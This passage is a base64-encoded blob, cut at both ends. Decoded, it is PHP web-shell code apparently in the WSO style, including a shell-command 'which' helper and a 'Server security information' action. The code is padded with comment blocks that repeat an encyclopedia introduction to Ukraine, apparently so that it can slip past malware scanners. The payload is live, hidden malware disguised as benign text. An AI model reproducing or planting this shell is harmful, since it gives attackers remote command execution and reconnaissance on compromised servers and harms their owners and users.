mFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJcmV0dXJuICRmaWxlczsKCX0KfQovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KZnVuY3Rpb24gd2hpY2goJHApIHsKCSRwYXRoID0gZXgoJ3doaWNoICcuJHApOwoJaWYoIWVtcHR5KCRwYXRoKSkKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJcmV0dXJuICRwYXRoOwoJcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGFjdGlvblNlY0luZm8oKSB7CglwcmludEhlYWRlcigpOwoJZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CglmdW5jdGlvbiBzaG93U2VjUGFyYW0oJG4sICR2KSB7CgkJJHYgPSB0cmltKCR2KTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRo